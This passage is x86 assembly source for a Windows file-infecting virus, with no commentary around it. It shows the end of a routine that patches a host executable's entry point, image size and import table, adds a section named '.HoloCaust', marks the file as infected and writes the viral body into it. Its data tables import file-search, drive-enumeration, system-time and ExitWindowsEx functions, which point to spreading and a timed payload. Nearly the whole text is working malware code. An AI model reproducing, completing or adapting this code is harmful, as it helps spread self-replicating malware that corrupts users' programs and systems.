call dword ptr [WriteFile-Virus_Code+ebp]
mov eax,[SizeOfImage-Virus_Code+ebp]
mov [Infected_AddressOfEnterPoint-Virus_Code+ebp],eax
push FILE_BEGIN
push 0
push dword ptr [Point_AddressOfEnterPoint-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 4
lea eax,[Infected_AddressOfEnterPoint-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [WriteFile-Virus_Code+ebp]
mov eax,[SizeOfImage-Virus_Code+ebp]
add eax,1000h
mov [Infected_SizeOfImage-Virus_Code+ebp],eax
push FILE_BEGIN
push 0
push dword ptr [Point_SizeOfImage-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 2
lea eax,[Infected_SizeOfImage-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [WriteFile-Virus_Code+ebp]
mov eax,[Infected_AddressOfEnterPoint-Virus_Code+ebp]
add eax,New_Imoprt_Descridtor-Virus_Code
mov [Infected_ImportTable-Virus_Code+ebp],eax
push FILE_BEGIN
push 0
push dword ptr [Point_ImportTable-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 4
lea eax,[Infected_ImportTable-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [WriteFile-Virus_Code+ebp]
push FILE_BEGIN
push 0
push dword ptr [Point_AEmptySectionTable-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 40
lea eax,[VirusSectionTable-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [WriteFile-Virus_Code+ebp]
mov eax,[NT_Header-Virus_Code+ebp]
sub eax,1
push FILE_BEGIN
push 0
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 1
lea eax,[Mark-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [WriteFile-Virus_Code+ebp]
push FILE_BEGIN
push 0
push dword ptr [PointerToRawData-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp] 
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 1000h
lea eax,[Virus_Code-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [WriteFile-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [CloseHandle-Virus_Code+ebp]
mov eax,012345678h
here
InfectFile_Exit:
RET
Infect_File endp
HandleFiledd ?
DoWriteOrReaddd ?
Markdb 49h
Infected_NumberOfSectiondw ?
Infected_AddressOfEnterPointdd ?
Infected_SizeOfImagedd ?
Infected_ImportTabledd ?
NT_Header      dd ?
PE_Signaturedd ?
Point_NumberOfSectiondd ?
NumberOfSectiondw ?
Point_SizeOfOptionalHeaderdd ?
SizeOfOptionalHeaderdw ?
Point_AddressOfEnterPointdd ?
AddressOfEnterPointdd 01000h
Point_ImageBasedd ?
ImageBase      dd 0400000h
Point_SizeOfImage  dd ?
SizeOfImage    dd ?
Point_FileOffsetImportTabledd ?
Point_ImportTable  dd ?
ImportTable    dd ?
Point_AEmptySectionTable      dd ?
VirusSectionTable=$ 
NameSection      db ".HoloCaust"
SVirtualSizedd 01000h
SVirtualAddressdd ?  
SizeOfRawDatadd 01000h
PointerToRawData      dd ?
PointToRelocationsdd 0
PointerToLinenumbersdd 0
NumberOfRelocationsdw 0
numberOfLinenumbwrsdw 0
SFlagsdd 060000020h+80000000h

S_CreateFileA      db 0,0,"CreateFileA",0
S_SetFilePointer       db 0,0,"SetFilePointer",0
S_ExitProcess      db 0,0,"ExitProcess",0
S_ReadFile      db 0,0,"ReadFile",0
S_CloseHandle      db 0,0,"CloseHandle",0
S_WriteFile      db 0,0,"WriteFile",0
     S_SetFileAttributesA    db 0,0,"SetFileAttributesA",0
     S_FindFirstFileA        db 0,0,"FindFirstFileA",0
     S_FindNextFileA         db 0,0,"FindNextFileA",0
S_GetSystemTimedb 0,0,"GetSystemTime",0
S_GetLogicalDrivesdb 0,0,"GetLogicalDrives",0

S_ExitWindowsExdb 0,0,"ExitWindowsEx",0
     S_MessageBoxA           db 0,0,"MessageBoxA",0          

KERNEL32_DLLName      db "KERNEL32.dll",0
USER32_DLLNamedb "USER32.DLL",0
KERNEL32_API_Entry=$
CreateFileA dd ?
SetFilePointer dd ?
ExitProcess      dd ?
ReadFile      dd ?
CloseHandle      dd ?
WriteFile      dd ?
SetFileAttributesAdd ?
FindFirstFileAdd ?
FindNextFileAdd ?
GetSystemTimedd ?
GetLogicalDrives      dd ?
USER32_API_Entry=$
ExitWindowsExdd ?
MessageBoxA      dd ?
  
Fix_Data=$
Fix_CreateFileAdd S_CreateFileA      -Virus_Code
Fix_SetFilePointerdd S_SetFilePointer-Virus_Code
Fix_ExitProcessdd S_ExitProcess  -Virus_Code
Fix_ReadFiledd S_ReadFile-Virus_Code
Fix_CloseHandledd S_CloseHandle  -Virus_Code
Fix_WriteFile dd S_WriteFile-Virus_Code
Fix_SetFileAttributesAdd S_SetFileAttributesA-Virus_Code
Fix_FindFirstFileAdd S_FindFirstFileA-Virus_Code
Fix_FindNextFileA      dd S_FindNextFileA-Virus_Code
Fix_GetSystemTime      dd S_GetSystemTime-Virus_Code
Fix_GetLogicalDrivesdd S_GetLogicalDrives-Virus_Code
     dd 0
Fix_ExitWindowsEx  dd S_ExitWindowsEx-Virus_Code
Fix_MessageBoxAdd S_MessageBoxA  -Virus_Code
     dd 0
 Fix_KERNEL32_OriginalFirstThunk     dd KERNEL32_Original_API_Name_Point-Virus_Code
Fix_KERNEL32_TimeDateStamp      dd ?
Fix_KERNEL32_ForwarderChain      dd ?
Fix_KERNEL32_Name1      dd KERNEL32_DLLName-Virus_Code
Fix_KERNEL32_FirstThunk      dd KERNEL32_API_Entry-Virus_Code

Fix_USER32_OriginalFirstThunk dd USER32_Original_API_Name_Point-Virus_Code
Fix_USER32_TimeDateStamp      dd ?
Fix_USER32_ForwarderChain      dd ?
Fix_USER32_Name1            dd USER32_DLLName-Virus_Code
Fix_USER32_FirstThunk      dd USER32_API_Entry-Virus_Code

  Move_Data=$
KERNEL32_Original_API_Name_Point=$                     
Original_CreateFileAdd S_CreateFileA     -Virus_Code+4000h
Original_SetFilePointer      dd S_SetFilePointer-Virus_Code+4000h
Original_ExitProcessdd S_ExitProcess     -Virus_Code+4000h
Original_ReadFile             dd S_ReadFile-Virus_Code+4000h
Original_CloseHandledd S_CloseHandle     -Virus_Code+4000h
Original_WriteFile dd S_WriteFile-Virus_Code+4000h
Original_SetFileAttributesAdd S_SetFileAttributesA-Virus_Code+4000h
Original_FindFirstFileAdd S_FindFirstFileA-Virus_Code+4000h
Original_FindNextFileAdd S_FindNextFileA-Virus_Code+4000h
Original_GetSystemTimedd S_GetSystemTime-Virus_Code+4000h
Original_GetLogicalDrivesdd S_GetLogicalDrives-Virus_Code+4000h
Zero_KERNEL32dd 0

USER32_Original_API_Name_Point=$
Original_ExitWindowsExdd S_ExitWindowsEx-Virus_Code+4000h
Original_MessageBoxAdd S_MessageBoxA     -Virus_Code+4000h
Zero_USER32        dd 0

New_Imoprt_Descridtor=$
;KERNEL32.dll  
     KERNEL32_OriginalFirstThunk   dd KERNEL32_Original_API_Name_Point-Virus_Code+4000h
KERNEL32_TimeDateStamp dd ?
KERNEL32_ForwarderChain dd ?
KERNEL32_Name1 dd KERNEL32_DLLName-Virus_Code+4000h
KERNEL32_FirstThunk dd KERNEL32_API_Entry-Virus_Code+4000h
;USER32.DLL
USER32_OriginalFirstThunk dd USER32_Original_API_Name_Point-Virus_Code+4000h
USER32_TimeDateStamp dd ?
USER32_ForwarderChain dd ?
USER32_Name1 dd USER32_DLLName-Virus_Code+4000h
USER32_FirstThunk dd USER32_API_Entry-Virus_Code+4000h

HostImportData=$                                
dd 0204ch,0,0,0206ah,02000h
dd 02054h,0,0,02086h,02008h
dd 5 dup(0)

Virus_WIN32_FIND_DATA=$
 dwFileAttributes      dd 0
 ftCreationTime        dd 0,0
 ftLastAccessTime      dd 0,0
 ftLastWriteTime       dd 0,0
 nFileSizeHigh         dd 0
 nFileSizeLow         dd 0
 dwReserved0       dd 0
 dwReserved1         dd 0
 cFileName             db 260 dup(0)
 cAlternate            db 14 dup(0)

SystemTime=$
 wYear             dw      ?
 wMonth            dw      ?
 wDayOfWeek        dw      ?
 wDay              dw      ?
 wHour             dw      ?
 wMinute           dw      ?
 wSecond           dw      ?
 wMilliseconds     dw      ?

CODE ENDS
END Start